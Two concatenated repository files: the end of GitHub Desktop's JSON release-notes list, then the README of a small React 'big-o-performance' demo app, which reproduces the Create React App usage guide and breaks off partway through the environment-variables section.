#2475", "[Fixed] Update to Git 2.14.1 to fix security vulnerability - #2432", "[Fixed] Recent branches disappearing after renaming a branch - #2426", "[Fixed] Changing the default branch on GitHub.com is now reflected in the app - #1489", "[Fixed] Swap around some callouts for no repositories - #2447", "[Fixed] Darker unfocused selection color - #1669", "[Fixed] Increase the max sidebar width - #1588", "[Fixed] Don't say \"Publish this branch to GitHub\" for non-GitHub repositories - #1498", "[Fixed] macOS: Protocol schemes not getting registered - #2429", "[Fixed] Patches which contain the \"no newline\" marker would fail to apply - #2123", "[Fixed] Close the autocompletion popover when it loses focus - #2358", "[Fixed] Clear the selected org when switching Publish Repository tabs - #2386", "[Fixed] 'Create Without Pushing' button throwing an exception while opening a pull request - #2368", "[Fixed] Windows: Don't removing the running app out from under itself when there are updates pending - #2373", "[Fixed] Windows: Respect `core.autocrlf` and `core.safeclrf` when modifying the .gitignore - #1535", "[Fixed] Windows: Fix opening the app from the command line - #2396" ], "0.7.3-beta5": [], "0.7.3-beta4": [], "0.7.3-beta3": [], "0.7.3-beta2": [], "0.7.3-beta1": [], "0.7.3-beta0": [], "0.7.2": ["[Fixed] Issues with auto-updating to 0.7.1."], "0.7.2-beta0": [], "0.7.1": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Improved] Create Pull Request dialog shows more feedback while it's working - #2265", "[Improved] Version text is now copiable - #1935", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299", "[Fixed] Help menu items now work - #2314", "[Fixed] Windows: `github` command line tool not installing after updating - #2312", "[Fixed] Caret position jumping around while changing the path for adding a local repository - #2222", "[Fixed] Error dialogs being closed too easily - #2211", "[Fixed] Windows: Non-ASCII credentials were mangled - #189" ], "0.7.1-beta5": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Improved] Create Pull Request dialog shows more feedback while it's working - #2265", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299", "[Fixed] Help menu items now work - #2314", "[Fixed] Windows: `github` command line tool not installing after updating - #2312", "[Fixed] Caret position jumping around while changing the path for adding a local repository - #2222", "[Fixed] Error dialogs being closed too easily - #2211", "[Fixed] Windows: Non-ASCII credentials were mangled - #189" ], "0.7.1-beta4": [], "0.7.1-beta3": [], "0.7.1-beta2": [], "0.7.1-beta1": [], "0.7.1-beta0": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299" ], "0.7.0": [ "[New] Added the Branch > Create Pull Request menu item - #2135", "[New] Added the `github` command line tool - #696", "[Improved] Better error message when publishing a repository fails - #2089", "[Improved] Windows: Don't recreate the desktop shortcut if it's been deleted - #1759", "[Fixed] Cloning a repository's wiki - #1624", "[Fixed] Don't call GitHub Enterprise GitHub.com - #2094", "[Fixed] Don't push after publishing a new repository if the branch is unborn - #2086", "[Fixed] Don't close dialogs when clicking the title bar - #2056", "[Fixed] Windows: Clicking 'Show in Explorer' doesn't bring Explorer to the front - #2127", "[Fixed] Windows: Opening links doesn't bring the browser to the front - #1945", "[Fixed] macOS: Closing the window wouldn't exit fullscreen - #1901", "[Fixed] Scale blankslate images so they look nicer on high resolution displays - #1946", "[Fixed] Windows: Installer not completing or getting stuck in a loop - #1875 #1863", "[Fixed] Move the 'Forgot Password' link to fix the tab order of the sign in view - #2200" ], "0.6.3-beta7": [], "0.6.3-beta6": [], "0.6.3-beta5": [], "0.6.3-beta4": [], "0.6.3-beta3": [], "0.6.3-beta2": [], "0.6.3-beta1": [], "0.6.3-beta0": [], "0.6.2": [ "[New] Link to User Guides from the Help menu - #1963", "[New] Added the 'Open in External Editor' contextual menu item to changed files - #2023", "[New] Added the 'Show' and 'Open Command Prompt' contextual menu items to repositories - #1554", "[New] Windows: Support self-signed or untrusted certificates - #671", "[New] Copy the SHA to the clipboard when clicked - #1501", "[Improved] Provide the option of initializing a new repository when adding a directory that isn't already one - #969", "[Improved] Link to the working directory when there are no changes - #1871", "[Improved] Hitting Enter when selecting a base branch creates the new branch - #1780", "[Improved] Prefix repository names with their owner if they are ambiguous - #1848", "[Fixed] Sort and filter licenses like GitHub.com - #1987", "[Fixed] Long branch names not getting truncated in the Rename Branch dialog - #1891", "[Fixed] Prune old log files - #1540", "[Fixed] Ensure the local path is valid before trying to create a new repository - #1487", "[Fixed] Support cloning repository wikis - #1624", "[Fixed] Disable the Select All checkbox when there are no changes - #1389", "[Fixed] Changed docx files wouldn't show anything in the diff panel - #1990", "[Fixed] Disable the Merge button when there are no commits to merge - #1359", "[Fixed] Username/password authentication not working for GitHub Enterprise - #2064", "[Fixed] Better error messages when an API call fails - #2017", "[Fixed] Create the 'logs' directory if it doesn't exist - #1550", "[Fixed] Enable the 'Remove' menu item for missing repositories - #1776" ], "0.6.1": [ "[Fixed] Properly log stats opt in/out - #1949", "[Fixed] Source maps for exceptions in the main process - #1957", "[Fixed] Styling of the exception dialog - #1956", "[Fixed] Handle ambiguous references - #1947", "[Fixed] Handle non-ASCII text in diffs - #1970", "[Fixed] Uncaught exception when hitting the arrow keys after showing autocompletions - #1971", "[Fixed] Clear the organizations list when publishing a new repository and switching between tabs - #1969", "[Fixed] Push properly when a tracking branch has a different name from the local branch - #1967", "[Improved] Warn when line endings will change - #1906" ], "0.6.0": [ "[Fixed] Issue autocompletion not working for older issues - #1814", "[Fixed] GitHub repository association not working for repositories with some remote URL formats - #1826 #1679", "[Fixed] Don't try to delete a remote branch that no longer exists - #1829", "[Fixed] Tokens created by development builds would be used in production builds but wouldn't work - #1727", "[Fixed] Submodules can now be added - #708", "[Fixed] Properly handle the case where a file is added to the index but removed from the working tree - #1310", "[Fixed] Use a local image for the default avatar - #1621", "[Fixed] Make the file path in diffs selectable - #1768", "[Improved] More logging! - #1823", "[Improved] Better error message when trying to add something that's not a repository - #1747", "[Improved] Copy the shell environment into the app's environment - #1796", "[Improved] Updated to Git 2.13.0 - #1897", "[Improved] Add 'Reveal' to the contextual menu for changed files - #1566", "[Improved] Better handling of large diffs - #1818 #1524", "[Improved] App launch time - #1900" ], "0.5.9": [ "[New] Added Zoom In and Zoom Out - #1217", "[Fixed] Various errors when on an unborn branch - #1450", "[Fixed] Disable push/pull menu items when there is no remote - #1448", "[Fixed] Better error message when the GitHub Enterprise version is too old - #1628", "[Fixed] Error parsing non-JSON responses - #1505 #1522", "[Fixed] Updated the 'Install Git' help documentation link - #1797", "[Fixed] Disable menu items while in the Welcome flow - #1529", "[Fixed] Windows: Fall back to HOME if Document cannot be found - #1825", "[Improved] Close the window when an exception occurs - #1562", "[Improved] Always use merge when pulling - #1627", "[Improved] Move the 'New Branch' menu item into the Branch menu - #1757", "[Improved] Remove Repository's default button is now Cancel - #1751", "[Improved] Only fetch the default remote - #1435", "[Improved] Faster commits with many files - #1405", "[Improved] Measure startup time more reliably - #1798", "[Improved] Prefer the GitHub repository name instead of the name on disk - #664" ], "0.5.8": [ "[Fixed] Switching tabs in Preferences/Settings or Repository Settings would close the dialog - #1724", "[Improved] Standardized colors which improves contrast and readability - #1713" ], "0.5.7": [ "[Fixed] Windows: Handle protocol events which launch the app - #1582", "[Fixed] Opting out of stats reporting in the Welcome flow - #1698", "[Fixed] Commit description text being too light - #1695", "[Fixed] Exception on startup if the app was activated too quickly - #1564", "[Improved] Default directory for cloning now - #1663", "[Improved] Accessibility support - #1289", "[Improved] Lovely blank slate illustrations - #1708" ], "0.5.6": [ "[Fixed] macOS: The buttons in the Untrusted Server dialog not doing anything - #1622", "[Fixed] Better warning in Rename Branch when the branch will be created with a different name than was entered - #1480", "[Fixed] Provide a tooltip for commit summaries in the History list - #1483", "[Fixed] Prevent the Update Available banner from getting squished - #1632", "[Fixed] Title bar not responding to double-clicks - #1590 #1655", "[Improved] Discard All Changes is now accessible by right-clicking the file column header - #1635" ], "0.5.5": [ "[Fixed] Save the default path after creating a new repository - #1486", "[Fixed] Only let the user launch the browser once for the OAuth flow - #1427", "[Fixed] Don't linkify invalid URLs - #1456", "[Fixed] Excessive padding in the Merge Branch dialog - #1577", "[Fixed] Octicon pixel alignment issues - #1584", "[Fixed] Windows: Invoking some menu items would break the window's snapped state - #1603", "[Fixed] macOS: Errors authenticating while pushing - #1514", "[Fixed] Don't linkify links in the History list or in Undo - #1548 #1608 #1474", "[Fixed] Diffs not working when certain git config values were set - #1559" ], "0.5.4": [ "[Fixed] The release notes URL pointed to the wrong page - #1503", "[Fixed] Only create the `logs` directory if it doesn't already exist - #1510", "[Fixed] Uncaught exception creating a new repository if you aren't a member of any orgs - #1507", "[Fixed] Only report the first uncaught exception - #1517", "[Fixed] Include the name of the default branch in the New Branch dialog - #1449", "[Fixed] Uncaught exception if a network error occurred while loading user email addresses - #1522 #1508", "[Fixed] Uncaught exception while performing a contextual menu action - #1532", "[Improved] Move all error logging to the main process - #1473", "[Improved] Stats reporting reliability - #1561" ], "0.5.3": [ "[Fixed] Display of large image diffs - #1494", "[Fixed] Discard Changes spacing - #1495" ], "0.5.2": [ "[Fixed] Display errors that happen while publishing a repository - #1396", "[Fixed] Menu items not updating - #1462", "[Fixed] Always select the first changed file - #1306", "[Fixed] macOS: Use Title Case consistently - #1477 #1481", "[Fixed] Create Branch padding - #1479", "[Fixed] Bottom padding in commit descriptions - #1345", "[Improved] Dialog polish - #1451", "[Improved] Store logs in a logs directory - #1370", "[Improved] New Welcome illustrations - #1471", "[Improved] Request confirmation before removing a repository - #1233", "[Improved] Windows icon polish - #1457" ], "0.5.1": [ "[New] Windows: A nice little gif while installing the app - #1440", "[Fixed] Disable pinch zoom - #1431", "[Fixed] Don't show carriage return indicators in diffs - #1444", "[Fixed] History wouldn't update after switching branches - #1446", "[Improved] Include more information in exception reports - #1429", "[Improved] Updated Terms and Conditions - #1438", "[Improved] Sub-pixel anti-aliasing in some lists - #1452", "[Improved] Windows: A new application identifier, less likely to collide with other apps - #1441" ], "0.5.0": [ "[Added] Menu item for showing the app logs - #1349", "[Fixed] Don't let the two-factor authentication dialog be submitted while it's empty - #1386", "[Fixed] Undo Commit showing the wrong commit - #1373", "[Fixed] Windows: Update the icon used for the installer - #1410", "[Fixed] Undoing the first commit - #1401", "[Fixed] A second window would be opened during the OAuth dance - #1382", "[Fixed] Don't include the comment from the default merge commit message - #1367", "[Fixed] Show progress while committing - #923", "[Fixed] Windows: Merge Branch sizing would be wrong on high DPI monitors - #1210", "[Fixed] Windows: Resize the app from the top left corner - #1424", "[Fixed] Changing the destination path for cloning a repository now appends the repository's name - #1408", "[Fixed] The blank slate view could be visible briefly when the app launched - #1398", "[Improved] Performance updating menu items - #1321", "[Improved] Windows: Dim the title bar when the app loses focus - #1189" ], "0.0.39": ["[Fixed] An uncaught exception when adding a user - #1394"], "0.0.38": [ "[New] Shiny new icon! - #1221", "[New] More helpful blank slate view - #871", "[Fixed] Don't allow Undo while pushing/pulling/fetching - #1047", "[Fixed] Updating the default branch on GitHub wouldn't be reflected in the app - #1028 #1314", "[Fixed] Long repository names would overflow their container - #1331", "[Fixed] Removed development menu items in production builds - #1031 #1251 #1323 #1340", "[Fixed] Create Branch no longer changes as it's animating closed - #1304", "[Fixed] Windows: Cut / Copy / Paste menu items not working - #1379", "[Improved] Show a better error message when the user tries to authenticate with a personal access token - #1313", "[Improved] Link to the repository New Issue page from the Help menu - #1349", "[Improved] Clone in Desktop opens the Clone dialog - #918" ], "0.0.37": [ "[Fixed] Better display of the 'no newline at end of file' indicator - #1253", "[Fixed] macOS: Destructive dialogs now use the expected button order - #1315", "[Fixed] Display of submodule paths - #785", "[Fixed] Incomplete stats submission - #1337", "[Improved] Redesigned welcome flow - #1254", "[Improved] App launch time - #1225", "[Improved] Handle uncaught exceptions - #1106" ], "0.0.36": [ "[Fixed] Bugs around associating an email address with a GitHub user - #975", "[Fixed] Use the correct reference name for an unborn branch - #1283", "[Fixed] Better diffs for renamed files - #980", "[Fixed] Typo in Create Branch - #1303", "[Fixed] Don't allow whitespace-only branch names - #1288", "[Improved] Focus ring polish - #1287", "[Improved] Less intrusive update notifications - #1136", "[Improved] Faster launch time on Windows - #1309", "[Improved] Faster git information refreshing - #1305", "[Improved] More consistent use of sentence case on Windows - #1316", "[Improved] Autocomplete polish - #1241" ], "0.0.35": [ "[New] Show push/pull/fetch progress - #1238", "[Fixed] macOS: Add the Zoom menu item - #1260", "[Fixed] macOS: Don't show the titlebar while full screened - #1247", "[Fixed] Windows: Updates would make the app unresponsive - #1269", "[Fixed] Windows: Keyboard navigation in menus - #1293", "[Fixed] Windows: Repositories list item not working - #1293", "[Fixed] Auto updater errors not being propagated properly - #1266", "[Fixed] Only show the current branch tooltip on the branches button - #1275", "[Fixed] Double path truncation - #1270", "[Fixed] Sometimes toggling a file's checkbox would get undone - #1248", "[Fixed] Uncaught exception when internet connectivity was lost - #1048", "[Fixed] Cloned repositories wouldn't be associated with their GitHub repository - #1285", "[Improved] Better performance on large repositories - #1281", "[Improved] Commit summary is now expandable when the summary is long - #519", "[Improved] The SHA in historical commits is now selectable - #1154", "[Improved] The Create Branch dialog was polished and refined - #1137" ], "0.0.34": [ "[New] macOS: Users can choose whether to accept untrusted certificates - #671", "[New] Windows: Users are prompted to install git when opening a shell if it is not installed - #813", "[New] Checkout progress is shown if branch switching takes a while - #1208", "[New] Commit summary and description are automatically populated for merge conflicts - #1228", "[Fixed] Cloning repositories while not signed in - #1163", "[Fixed] Merge commits are now created as merge commits - #1216", "[Fixed] Display of diffs with /r newline - #1234", "[Fixed] Windows: Maximized windows are no longer positioned slightly off screen - #1202", "[Fixed] JSON parse errors - #1243", "[Fixed] GitHub Enterprise repositories were not associated with the proper Enterprise repository - #1242", "[Fixed] Timestamps in the Branches list would wrap - #1255", "[Fixed] Merges created from pulling wouldn't use the right git author - #1262", "[Improved] Check for update errors are suppressed if they happen in the background - #1104, #1195", "[Improved] The shortcut to show the repositories list is now command or control-T - #1220", "[Improved] Command or control-W now closes open dialogs - #949", "[Improved] Less memory usage while parsing large diffs - #1235" ], "0.0.33": ["[Fixed] Update Now wouldn't update now - #1209"], "0.0.32": [ "[New] You can now disable stats reporting from Preferences > Advanced - #1120", "[New] Acknowledgements are now available from About - #810", "[New] Open pull requests from dot com in the app - #808", "[Fixed] Don't show background fetch errors - #875", "[Fixed] No more surprise and delight - #620", "[Fixed] Can't discard renamed files - #1177", "[Fixed] Logging out of one account would log out of all accounts - #1192", "[Fixed] Renamed files truncation - #695", "[Fixed] Git on Windows now integrates with the system certificate store - #706", "[Fixed] Cloning with an account/repoository shortcut would always fail - #1150", "[Fixed] OS version reporting - #1130", "[Fixed] Publish a new repository would always fail - #1046", "[Fixed] Authentication would fail for the first repository after logging in - #1118", "[Fixed] Don't flood the user with errors if a repository disappears on disk - #1132", "[Improved] The Merge dialog uses the Branches list instead of a drop down menu - #749", "[Improved] Lots of design polish - #1188, #1183, #1170, #1184, #1181, #1179, #1142, #1125" ], "0.0.31": [ "[New] Prompt user to login when authentication error occurs - #903", "[New] Windows application has a new app menu, replaces previous hamburger menu - #991", "[New] Refreshed colours to align with GitHub website scheme - #1077", "[New] Custom about dialog on all platforms - #1102", "[Fixed] Improved error handling when probing for a GitHub Enterprise server - #1026", "[Fixed] User can cancel 2FA flow - #1057", "[Fixed] Tidy up current set of menu items - #1063", "[Fixed] Manually focus the window when a URL action has been received - #1072", "[Fixed] Disable middle-click event to prevent new windows being launched - #1074", "[Fixed] Pre-fill the account name in the Welcome wizard, not login - #1078", "[Fixed] Diffs wouldn't work if an external diff program was configured - #1123", "[Improved] Lots of design polish work - #1113, #1099, #1094, #1077" ], "0.0.30": [ "[Fixed] Crash when invoking menu item due to incorrect method signature - #1041" ], "0.0.29": [ "[New] Commit summary and description fields now display issues and mentions as links for GitHub repositories - #941", "[New] Show placeholder when the repository cannot be found on disk - #946", "[New] New Repository actions moved out of popover and into new menu - #1018", "[Fixed] Display a helpful error message when an unverified user signs into GitHub Desktop - #1010", "[Fixed] Fix kerning issue when access keys displayed - #1033", "[Fixed] Protected branches show a descriptive error when the push is rejected - #1036", "[Fixed] 'Open in shell' on Windows opens to repository location - #1037" ], "0.0.28": ["[Fixed] Bumping release notes to test deployments again"], "0.0.27": [ "[Fixed] 2FA dialog when authenticating has information for SMS authentication - #1009", "[Fixed] Autocomplete for users handles accounts containing `-` - #1008" ], "0.0.26": [ "[Fixed] Address deployment issue by properly documenting release notes" ], "0.0.25": [ "[Added] Autocomplete displays user matches - #942", "[Fixed] Handle Enter key in repository and branch list when no matches exist - #995", "[Fixed] 'Add Repository' button displays in dropdown when repository list empty - #984", "[Fixed] Correct icon displayed for non-GitHub repository - #964 #955", "[Fixed] Enter key when inside dialog submits form - #956", "[Fixed] Updated URL handler entry on macOS - #945", "[Fixed] Commit button is disabled while commit in progress - #940", "[Fixed] Handle index state change when gitginore change is discarded - #935", "[Fixed] 'Create New Branch' view squashes branch list when expanded - #927", "[Fixed] Application creates repository path if it doesn't exist on disk - #925", "[Improved] Preferences sign-in flow updated to standalone dialogs - #961" ], "0.0.24": ["Changed a thing", "Added another thing"] } }
rramatchandran
# big-o-performance A simple html app to demonstrate performance costs of data structures. - Clone the project - Navigate to the root of the project in a termina or command prompt - Run 'npm install' - Run 'npm start' - Go to the URL specified in the terminal or command prompt to try out the app. # This app was created from the Create React App NPM. Below are instructions from that project. Below you will find some information on how to perform common tasks. You can find the most recent version of this guide [here](https://github.com/facebookincubator/create-react-app/blob/master/template/README.md). ## Table of Contents - [Updating to New Releases](#updating-to-new-releases) - [Sending Feedback](#sending-feedback) - [Folder Structure](#folder-structure) - [Available Scripts](#available-scripts) - [npm start](#npm-start) - [npm run build](#npm-run-build) - [npm run eject](#npm-run-eject) - [Displaying Lint Output in the Editor](#displaying-lint-output-in-the-editor) - [Installing a Dependency](#installing-a-dependency) - [Importing a Component](#importing-a-component) - [Adding a Stylesheet](#adding-a-stylesheet) - [Post-Processing CSS](#post-processing-css) - [Adding Images and Fonts](#adding-images-and-fonts) - [Adding Bootstrap](#adding-bootstrap) - [Adding Flow](#adding-flow) - [Adding Custom Environment Variables](#adding-custom-environment-variables) - [Integrating with a Node Backend](#integrating-with-a-node-backend) - [Proxying API Requests in Development](#proxying-api-requests-in-development) - [Deployment](#deployment) - [Now](#now) - [Heroku](#heroku) - [Surge](#surge) - [GitHub Pages](#github-pages) - [Something Missing?](#something-missing) ## Updating to New Releases Create React App is divided into two packages: * `create-react-app` is a global command-line utility that you use to create new projects. * `react-scripts` is a development dependency in the generated projects (including this one). You almost never need to update `create-react-app` itself: it’s delegates all the setup to `react-scripts`. When you run `create-react-app`, it always creates the project with the latest version of `react-scripts` so you’ll get all the new features and improvements in newly created apps automatically. To update an existing project to a new version of `react-scripts`, [open the changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md), find the version you’re currently on (check `package.json` in this folder if you’re not sure), and apply the migration instructions for the newer versions. In most cases bumping the `react-scripts` version in `package.json` and running `npm install` in this folder should be enough, but it’s good to consult the [changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md) for potential breaking changes. We commit to keeping the breaking changes minimal so you can upgrade `react-scripts` painlessly. ## Sending Feedback We are always open to [your feedback](https://github.com/facebookincubator/create-react-app/issues). ## Folder Structure After creation, your project should look like this: ``` my-app/ README.md index.html favicon.ico node_modules/ package.json src/ App.css App.js index.css index.js logo.svg ``` For the project to build, **these files must exist with exact filenames**: * `index.html` is the page template; * `favicon.ico` is the icon you see in the browser tab; * `src/index.js` is the JavaScript entry point. You can delete or rename the other files. You may create subdirectories inside `src`. For faster rebuilds, only files inside `src` are processed by Webpack. You need to **put any JS and CSS files inside `src`**, or Webpack won’t see them. You can, however, create more top-level directories. They will not be included in the production build so you can use them for things like documentation. ## Available Scripts In the project directory, you can run: ### `npm start` Runs the app in the development mode.<br> Open [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.<br> You will also see any lint errors in the console. ### `npm run build` Builds the app for production to the `build` folder.<br> It correctly bundles React in production mode and optimizes the build for the best performance. The build is minified and the filenames include the hashes.<br> Your app is ready to be deployed! ### `npm run eject` **Note: this is a one-way operation. Once you `eject`, you can’t go back!** If you aren’t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project. Instead, it will copy all the configuration files and the transitive dependencies (Webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own. You don’t have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it. ## Displaying Lint Output in the Editor >Note: this feature is available with `react-scripts@0.2.0` and higher. Some editors, including Sublime Text, Atom, and Visual Studio Code, provide plugins for ESLint. They are not required for linting. You should see the linter output right in your terminal as well as the browser console. However, if you prefer the lint results to appear right in your editor, there are some extra steps you can do. You would need to install an ESLint plugin for your editor first. >**A note for Atom `linter-eslint` users** >If you are using the Atom `linter-eslint` plugin, make sure that **Use global ESLint installation** option is checked: ><img src="http://i.imgur.com/yVNNHJM.png" width="300"> Then make sure `package.json` of your project ends with this block: ```js { // ... "eslintConfig": { "extends": "./node_modules/react-scripts/config/eslint.js" } } ``` Projects generated with `react-scripts@0.2.0` and higher should already have it. If you don’t need ESLint integration with your editor, you can safely delete those three lines from your `package.json`. Finally, you will need to install some packages *globally*: ```sh npm install -g eslint babel-eslint eslint-plugin-react eslint-plugin-import eslint-plugin-jsx-a11y eslint-plugin-flowtype ``` We recognize that this is suboptimal, but it is currently required due to the way we hide the ESLint dependency. The ESLint team is already [working on a solution to this](https://github.com/eslint/eslint/issues/3458) so this may become unnecessary in a couple of months. ## Installing a Dependency The generated project includes React and ReactDOM as dependencies. It also includes a set of scripts used by Create React App as a development dependency. You may install other dependencies (for example, React Router) with `npm`: ``` npm install --save <library-name> ``` ## Importing a Component This project setup supports ES6 modules thanks to Babel. While you can still use `require()` and `module.exports`, we encourage you to use [`import` and `export`](http://exploringjs.com/es6/ch_modules.html) instead. For example: ### `Button.js` ```js import React, { Component } from 'react'; class Button extends Component { render() { // ... } } export default Button; // Don’t forget to use export default! ``` ### `DangerButton.js` ```js import React, { Component } from 'react'; import Button from './Button'; // Import a component from another file class DangerButton extends Component { render() { return <Button color="red" />; } } export default DangerButton; ``` Be aware of the [difference between default and named exports](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281). It is a common source of mistakes. We suggest that you stick to using default imports and exports when a module only exports a single thing (for example, a component). That’s what you get when you use `export default Button` and `import Button from './Button'`. Named exports are useful for utility modules that export several functions. A module may have at most one default export and as many named exports as you like. Learn more about ES6 modules: * [When to use the curly braces?](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281) * [Exploring ES6: Modules](http://exploringjs.com/es6/ch_modules.html) * [Understanding ES6: Modules](https://leanpub.com/understandinges6/read#leanpub-auto-encapsulating-code-with-modules) ## Adding a Stylesheet This project setup uses [Webpack](https://webpack.github.io/) for handling all assets. Webpack offers a custom way of “extending” the concept of `import` beyond JavaScript. To express that a JavaScript file depends on a CSS file, you need to **import the CSS from the JavaScript file**: ### `Button.css` ```css .Button { padding: 20px; } ``` ### `Button.js` ```js import React, { Component } from 'react'; import './Button.css'; // Tell Webpack that Button.js uses these styles class Button extends Component { render() { // You can use them as regular CSS styles return <div className="Button" />; } } ``` **This is not required for React** but many people find this feature convenient. You can read about the benefits of this approach [here](https://medium.com/seek-ui-engineering/block-element-modifying-your-javascript-components-d7f99fcab52b). However you should be aware that this makes your code less portable to other build tools and environments than Webpack. In development, expressing dependencies this way allows your styles to be reloaded on the fly as you edit them. In production, all CSS files will be concatenated into a single minified `.css` file in the build output. If you are concerned about using Webpack-specific semantics, you can put all your CSS right into `src/index.css`. It would still be imported from `src/index.js`, but you could always remove that import if you later migrate to a different build tool. ## Post-Processing CSS This project setup minifies your CSS and adds vendor prefixes to it automatically through [Autoprefixer](https://github.com/postcss/autoprefixer) so you don’t need to worry about it. For example, this: ```css .App { display: flex; flex-direction: row; align-items: center; } ``` becomes this: ```css .App { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } ``` There is currently no support for preprocessors such as Less, or for sharing variables across CSS files. ## Adding Images and Fonts With Webpack, using static assets like images and fonts works similarly to CSS. You can **`import` an image right in a JavaScript module**. This tells Webpack to include that image in the bundle. Unlike CSS imports, importing an image or a font gives you a string value. This value is the final image path you can reference in your code. Here is an example: ```js import React from 'react'; import logo from './logo.png'; // Tell Webpack this JS file uses this image console.log(logo); // /logo.84287d09.png function Header() { // Import result is the URL of your image return <img src={logo} alt="Logo" />; } export default function Header; ``` This works in CSS too: ```css .Logo { background-image: url(./logo.png); } ``` Webpack finds all relative module references in CSS (they start with `./`) and replaces them with the final paths from the compiled bundle. If you make a typo or accidentally delete an important file, you will see a compilation error, just like when you import a non-existent JavaScript module. The final filenames in the compiled bundle are generated by Webpack from content hashes. If the file content changes in the future, Webpack will give it a different name in production so you don’t need to worry about long-term caching of assets. Please be advised that this is also a custom feature of Webpack. **It is not required for React** but many people enjoy it (and React Native uses a similar mechanism for images). However it may not be portable to some other environments, such as Node.js and Browserify. If you prefer to reference static assets in a more traditional way outside the module system, please let us know [in this issue](https://github.com/facebookincubator/create-react-app/issues/28), and we will consider support for this. ## Adding Bootstrap You don’t have to use [React Bootstrap](https://react-bootstrap.github.io) together with React but it is a popular library for integrating Bootstrap with React apps. If you need it, you can integrate it with Create React App by following these steps: Install React Bootstrap and Bootstrap from NPM. React Bootstrap does not include Bootstrap CSS so this needs to be installed as well: ``` npm install react-bootstrap --save npm install bootstrap@3 --save ``` Import Bootstrap CSS and optionally Bootstrap theme CSS in the ```src/index.js``` file: ```js import 'bootstrap/dist/css/bootstrap.css'; import 'bootstrap/dist/css/bootstrap-theme.css'; ``` Import required React Bootstrap components within ```src/App.js``` file or your custom component files: ```js import { Navbar, Jumbotron, Button } from 'react-bootstrap'; ``` Now you are ready to use the imported React Bootstrap components within your component hierarchy defined in the render method. Here is an example [`App.js`](https://gist.githubusercontent.com/gaearon/85d8c067f6af1e56277c82d19fd4da7b/raw/6158dd991b67284e9fc8d70b9d973efe87659d72/App.js) redone using React Bootstrap. ## Adding Flow Flow typing is currently [not supported out of the box](https://github.com/facebookincubator/create-react-app/issues/72) with the default `.flowconfig` generated by Flow. If you run it, you might get errors like this: ```js node_modules/fbjs/lib/Deferred.js.flow:60 60: Promise.prototype.done.apply(this._promise, arguments); ^^^^ property `done`. Property not found in 495: declare class Promise<+R> { ^ Promise. See lib: /private/tmp/flow/flowlib_34952d31/core.js:495 node_modules/fbjs/lib/shallowEqual.js.flow:29 29: return x !== 0 || 1 / (x: $FlowIssue) === 1 / (y: $FlowIssue); ^^^^^^^^^^ identifier `$FlowIssue`. Could not resolve name src/App.js:3 3: import logo from './logo.svg'; ^^^^^^^^^^^^ ./logo.svg. Required module not found src/App.js:4 4: import './App.css'; ^^^^^^^^^^^ ./App.css. Required module not found src/index.js:5 5: import './index.css'; ^^^^^^^^^^^^^ ./index.css. Required module not found ``` To fix this, change your `.flowconfig` to look like this: ```ini [libs] ./node_modules/fbjs/flow/lib [options] esproposal.class_static_fields=enable esproposal.class_instance_fields=enable module.name_mapper='^\(.*\)\.css$' -> 'react-scripts/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> 'react-scripts/config/flow/file' suppress_type=$FlowIssue suppress_type=$FlowFixMe ``` Re-run flow, and you shouldn’t get any extra issues. If you later `eject`, you’ll need to replace `react-scripts` references with the `<PROJECT_ROOT>` placeholder, for example: ```ini module.name_mapper='^\(.*\)\.css$' -> '<PROJECT_ROOT>/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> '<PROJECT_ROOT>/config/flow/file' ``` We will consider integrating more tightly with Flow in the future so that you don’t have to do this. ## Adding Custom Environment Variables >Note: this feature is available with `react-scripts@0.2.3` and higher. Your project can consume variables declared in your environment as if they were declared locally in your JS files. By default you will have `NODE_ENV` defined for you, and any other environment variables starting with `REACT_APP_`. These environment variables will be defined for you on `process.env`. For example, having an environment variable named `REACT_APP_SECRET_CODE` will be exposed in your JS as `process.env.REACT_APP_SECRET_CODE`, in addition to `process.env.NODE_ENV`. These environment variables can be useful for displaying information conditionally based on where the project is deployed or consuming sensitive data that lives outside of version control. First, you need to have environment variables defined, which can vary between OSes. For example, let's say you wanted to consume a secret defined in the environment inside a `<form>`: ```jsx render() { return ( <div> <small>You are running this application in <b>{process.env.NODE_ENV}</b> mode.</small> <form> <input type="hidden" defaultValue={process.env.REACT_APP_SECRET_CODE} /> </form> </div> ); } ``` The above form is looking for a variable called `REACT_APP_SECRET_CODE` from the environment. In order to consume this value, we need to have it defined in the environment: ### Windows (cmd.exe) ```cmd set REACT_APP_SECRET_CODE=abcdef&&npm start ``` (Note: the lack of whitespace is intentional.) 